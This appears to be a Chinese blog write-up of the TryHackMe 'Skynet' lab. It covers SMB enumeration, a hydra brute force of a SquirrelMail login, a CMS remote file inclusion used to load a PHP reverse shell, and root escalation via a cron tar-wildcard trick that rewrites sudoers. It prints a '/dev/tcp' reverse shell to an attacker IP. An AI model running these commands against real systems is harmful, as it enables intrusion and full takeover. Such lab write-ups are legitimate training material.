打靶记录(四)之THMSkynet
端口扫描
SMB服务
发现有POP3和IMAP服务,感觉大概率和邮件有关,还是第一次接触这样的靶机
问Miles的邮箱密码,嘶没什么思路,一开始还用hydra来爆破IMAP端口,发现好像不行,看了下THM的提示,Enumerate Samba
于是试着用enum4linux来枚举SMB服务
kali中enum4linux ip
发现一个共享anonymous可以访问
smbclient //ip/共享 进行连接
ls发现了一个文本和一个logs文件夹
把全部get到本地,如get attention.txxt
总之就是所有人的密码被改了什么之类的
log的内容就很吸引人了,像是用户名(密码?)
log2和3都是空的,,,
Web
到这里的线索似乎断了,因为不知道这个用于什么的,感觉方向太多,又是IMAP又是POP3什么的。先进入80的WEB端口看看
就这么一个界面,啥都没有,试着用gobuster爆破下目录
gobuster经常性感觉会出一些网络问题导致丢包。。。
找到个/admin的目录,进去看看,发现访问不了
试了几个发现就squirrelmail能访问,进去是个登录界面
想到了刚刚获得的log1,并且,在之前的SMB扫描的时候,我们发现还有个共享的名字叫做milesdyson,应该就是他的用户名
所以试着用hydra来爆破密码
还是一样,burpsuite先抓个POST的凭据,报错提示是“User or password incorrect.”
所以是:
hydra -l milesdyson -P log1.txt 10.10.96.167 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect." |
一开始,我填的路径是login.php,后来发现登录失败的界面变成了redirect.php,看来这也是个该的点。hydra应该是通过报错界面来判定的。
成功登录.
进来发现是一个类似邮箱管理系统,发现一封密码重置邮件(其他两封都是无关紧要的邮件),点进看看
找到了他SMB的密码,试着连接
发现几个PDF文件,发现都get不下来,CD进 notes看看。发现一个important文本,get下来
发现这么几行字
看样子是个测试中的CMS,进入看看
原来靶机的主人公又是电影角色,THM设计的这种彩蛋还是挺有意思的233
所以要求的隐藏目录就是这个。然后THM的下一个问题是远程包含漏洞,又没什么思路了(悲,偷瞟一眼WP
是在这个目录下再进行目录扫描
gobuster dir -u http://10.10.96.167/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |
扫到一个/administrator目录
发现是一个CMS
Getshell
试着搜一下现有的漏洞
按样子是文件包含,符合THM给的提示
locate php/webapps/25971.txt |
cat /usr/share/exploitdb/exploits/php/webapps/25971.txt |
应该是可以远程文件包含,想试着包含个反向shell的马,创建一个PHP文件,利用https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
然后将第49,50行的IP和端口改一下
python -m http.server开启一个本地服务器
nc -lvnp 1234开启监听
然后进行文件包含:
成功建立shell
在/home/milesdyson目录找到user.txt
但是权限不够进入/root
接下来应该就是提权的事了
提权
sudo -l发现用不了,想试试看计划任务
cat /etc/crontab
发现一个以root身份运行的备份任务
那就好办了再来一个反向shell
kali中nc -lvnp 1235再开启一个监听
在shell中echo “/bin/bash -i >& /dev/tcp/10.11.38.245/1235 0>&1” >> backup.sh
嘶,发现没有权限,寄,就感觉没这么简单。。。
然后又没思路了,看下WP
看来不能更改这个脚本的话只能利用它了,大概是把/var/www/html这个目录下得到文件打包,WP的做法是这样的,在/var/www/html路径下
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > pavan.sh |
这个脚本的大概意思是,创建一个名为pavan.sh的脚本,然后创建一个检查点,只要经过这个检查点就会执行pavan.sh这个脚本,第三行是创建检查点1.
等一会儿让脚本自动执行
发现有权限了,可以以root身份执行命令
sudo cat /root/root.txt
3f0372db24753accc7179a282cd6a949
碎碎念
一个看似难度不算很大的靶机,但是细节还是很多,然后Linux中的checkpoint之前也不知道,感觉得去深入了解学习下,还有一些像是SMB服务什么的。。。
小小记录一下
在gtfobins上也有相应的用法